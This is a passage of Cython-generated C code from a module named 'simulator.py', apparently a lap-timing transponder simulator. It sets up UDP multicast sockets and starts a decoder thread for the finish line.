# break * try: # init the socket * self.mgroup[ type ] = (d['multi_ip'],d['port']) # <<<<<<<<<<<<<< * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) * sock.settimeout(0.1) */ __pyx_t_1 = PyObject_GetItem(__pyx_v_d, __pyx_n_u_multi_ip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyObject_GetItem(__pyx_v_d, __pyx_n_u_port); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = PyTuple_New(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 88, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_2); __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_mgroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_v_type, __pyx_t_6) < 0)) __PYX_ERR(0, 88, __pyx_L11_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "simulator.py":89 * try: # init the socket * self.mgroup[ type ] = (d['multi_ip'],d['port']) * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # <<<<<<<<<<<<<< * sock.settimeout(0.1) * ttl = struct.pack('b', 10) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_socket); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_AF_INET); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_SOCK_DGRAM); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; __pyx_t_15 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_15 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_11, __pyx_t_10}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_15, 2+__pyx_t_15); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_11, __pyx_t_10}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_15, 2+__pyx_t_15); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_15); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_15, __pyx_t_11); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_15, __pyx_t_10); __pyx_t_11 = 0; __pyx_t_10 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 89, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_sock = __pyx_t_6; __pyx_t_6 = 0; /* "simulator.py":90 * self.mgroup[ type ] = (d['multi_ip'],d['port']) * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) * sock.settimeout(0.1) # <<<<<<<<<<<<<< * ttl = struct.pack('b', 10) * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_sock, __pyx_n_s_settimeout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 90, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":91 * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) * sock.settimeout(0.1) * ttl = struct.pack('b', 10) # <<<<<<<<<<<<<< * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * self.sockets[ type ] = sock */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_struct); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_pack); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 91, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_ttl = __pyx_t_1; __pyx_t_1 = 0; /* "simulator.py":92 * sock.settimeout(0.1) * ttl = struct.pack('b', 10) * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) # <<<<<<<<<<<<<< * self.sockets[ type ] = sock * except Exception as e: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_sock, __pyx_n_s_setsockopt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_IPPROTO_IP); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_IP_MULTICAST_TTL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_15 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_15 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_t_10, __pyx_t_11, __pyx_v_ttl}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_15, 3+__pyx_t_15); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_t_10, __pyx_t_11, __pyx_v_ttl}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_15, 3+__pyx_t_15); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } else #endif { __pyx_t_2 = PyTuple_New(3+__pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_15, __pyx_t_10); __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_15, __pyx_t_11); __Pyx_INCREF(__pyx_v_ttl); __Pyx_GIVEREF(__pyx_v_ttl); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_15, __pyx_v_ttl); __pyx_t_10 = 0; __pyx_t_11 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":93 * ttl = struct.pack('b', 10) * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * self.sockets[ type ] = sock # <<<<<<<<<<<<<< * except Exception as e: * print("in simulator.createThread( socket creation ) got Error") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sockets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L11_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_v_type, __pyx_v_sock) < 0)) __PYX_ERR(0, 93, __pyx_L11_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":87 * # if i > self.howmany: * # break * try: # init the socket # <<<<<<<<<<<<<< * self.mgroup[ type ] = (d['multi_ip'],d['port']) * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) */ } __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; goto __pyx_L18_try_end; __pyx_L11_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":94 * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * self.sockets[ type ] = sock * except Exception as e: # <<<<<<<<<<<<<< * print("in simulator.createThread( socket creation ) got Error") * print( e ) */ __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_15) { __Pyx_AddTraceback("simulator.decoder.createThread", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_6, &__pyx_t_2) < 0) __PYX_ERR(0, 94, __pyx_L13_except_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GOTREF(__pyx_t_6); __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __pyx_v_e = __pyx_t_6; /*try:*/ { /* "simulator.py":95 * self.sockets[ type ] = sock * except Exception as e: * print("in simulator.createThread( socket creation ) got Error") # <<<<<<<<<<<<<< * print( e ) * */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 95, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; /* "simulator.py":96 * except Exception as e: * print("in simulator.createThread( socket creation ) got Error") * print( e ) # <<<<<<<<<<<<<< * * if decoder['type'] == 0: # only create Thread on type 0 ( finishline ) */ __pyx_t_11 = PyTuple_New(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 96, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_v_e); __pyx_t_10 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_11, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 96, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } /* "simulator.py":94 * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * self.sockets[ type ] = sock * except Exception as e: # <<<<<<<<<<<<<< * print("in simulator.createThread( socket creation ) got Error") * print( e ) */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; goto __pyx_L25; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L24_error:; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __Pyx_XGOTREF(__pyx_t_20); __Pyx_XGOTREF(__pyx_t_21); __Pyx_XGOTREF(__pyx_t_22); __Pyx_XGOTREF(__pyx_t_23); __pyx_t_15 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_21); __Pyx_XGIVEREF(__pyx_t_22); __Pyx_XGIVEREF(__pyx_t_23); __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); } __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_XGIVEREF(__pyx_t_20); __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_lineno = __pyx_t_15; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; goto __pyx_L13_except_error; } __pyx_L25:; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; goto __pyx_L12_exception_handled; } goto __pyx_L13_except_error; __pyx_L13_except_error:; /* "simulator.py":87 * # if i > self.howmany: * # break * try: # init the socket # <<<<<<<<<<<<<< * self.mgroup[ type ] = (d['multi_ip'],d['port']) * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); goto __pyx_L1_error; __pyx_L12_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); __pyx_L18_try_end:; } /* "simulator.py":98 * print( e ) * * if decoder['type'] == 0: # only create Thread on type 0 ( finishline ) # <<<<<<<<<<<<<< * self.laptime = decoder['laptime'] * factor # Set the minimum laptime * self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], */ __pyx_t_2 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_type); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyInt_EqObjC(__pyx_t_2, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__pyx_t_4) { /* "simulator.py":99 * * if decoder['type'] == 0: # only create Thread on type 0 ( finishline ) * self.laptime = decoder['laptime'] * factor # Set the minimum laptime # <<<<<<<<<<<<<< * self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], * decoder['delay'], */ __pyx_t_6 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_laptime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_factor); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Multiply(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_laptime, __pyx_t_1) < 0) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":100 * if decoder['type'] == 0: # only create Thread on type 0 ( finishline ) * self.laptime = decoder['laptime'] * factor # Set the minimum laptime * self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], # <<<<<<<<<<<<<< * decoder['delay'], * d['multi_ip'], */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Thread); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_decoder); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target, __pyx_t_6) < 0) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_laptime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); /* "simulator.py":101 * self.laptime = decoder['laptime'] * factor # Set the minimum laptime * self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], * decoder['delay'], # <<<<<<<<<<<<<< * d['multi_ip'], * d['port'], */ __pyx_t_10 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_delay); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); /* "simulator.py":102 * self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], * decoder['delay'], * d['multi_ip'], # <<<<<<<<<<<<<< * d['port'], * decoder['type']) */ __pyx_t_11 = PyObject_GetItem(__pyx_v_d, __pyx_n_u_multi_ip); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); /* "simulator.py":103 * decoder['delay'], * d['multi_ip'], * d['port'], # <<<<<<<<<<<<<< * decoder['type']) * ) */ __pyx_t_3 = PyObject_GetItem(__pyx_v_d, __pyx_n_u_port); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); /* "simulator.py":104 * d['multi_ip'], * d['port'], * decoder['type']) # <<<<<<<<<<<<<< * ) * else: # otherwise simply add the delay in list */ __pyx_t_24 = PyObject_GetItem(__pyx_v_decoder, __pyx_n_u_type); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_24); /* "simulator.py":100 * if decoder['type'] == 0: # only create Thread on type 0 ( finishline ) * self.laptime = decoder['laptime'] * factor # Set the minimum laptime * self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], # <<<<<<<<<<<<<< * decoder['delay'], * d['multi_ip'], */ __pyx_t_25 = PyTuple_New(5); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_25, 0, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_25, 1, __pyx_t_10); __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_25, 2, __pyx_t_11); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_25, 3, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_24); PyTuple_SET_ITEM(__pyx_t_25, 4, __pyx_t_24); __pyx_t_6 = 0; __pyx_t_10 = 0; __pyx_t_11 = 0; __pyx_t_3 = 0; __pyx_t_24 = 0; if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_args, __pyx_t_25) < 0) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; __pyx_t_25 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_theThead, __pyx_t_25) < 0) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; /* "simulator.py":98 * print( e ) * * if decoder['type'] == 0: # only create Thread on type 0 ( finishline ) # <<<<<<<<<<<<<< * self.laptime = decoder['laptime'] * factor # Set the minimum laptime * self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], */ goto __pyx_L30; } /* "simulator.py":107 * ) * else: # otherwise simply add the delay in list * for t in self.transponder: # <<<<<<<<<<<<<< * tp = self.transponder[t] * tp[i_partial][type] = tp[i_finish] */ /*else*/ { __pyx_t_25 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_transponder); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); if (likely(PyList_CheckExact(__pyx_t_25)) || PyTuple_CheckExact(__pyx_t_25)) { __pyx_t_2 = __pyx_t_25; __Pyx_INCREF(__pyx_t_2); __pyx_t_5 = 0; __pyx_t_9 = NULL; } else { __pyx_t_5 = -1; __pyx_t_2 = PyObject_GetIter(__pyx_t_25); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = Py_TYPE(__pyx_t_2)->tp_iternext; if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 107, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; for (;;) { if (likely(!__pyx_t_9)) { if (likely(PyList_CheckExact(__pyx_t_2))) { if (__pyx_t_5 >= PyList_GET_SIZE(__pyx_t_2)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_25 = PyList_GET_ITEM(__pyx_t_2, __pyx_t_5); __Pyx_INCREF(__pyx_t_25); __pyx_t_5++; if (unlikely(0 < 0)) __PYX_ERR(0, 107, __pyx_L1_error) #else __pyx_t_25 = PySequence_ITEM(__pyx_t_2, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); #endif } else { if (__pyx_t_5 >= PyTuple_GET_SIZE(__pyx_t_2)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_25 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_5); __Pyx_INCREF(__pyx_t_25); __pyx_t_5++; if (unlikely(0 < 0)) __PYX_ERR(0, 107, __pyx_L1_error) #else __pyx_t_25 = PySequence_ITEM(__pyx_t_2, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); #endif } } else { __pyx_t_25 = __pyx_t_9(__pyx_t_2); if (unlikely(!__pyx_t_25)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { 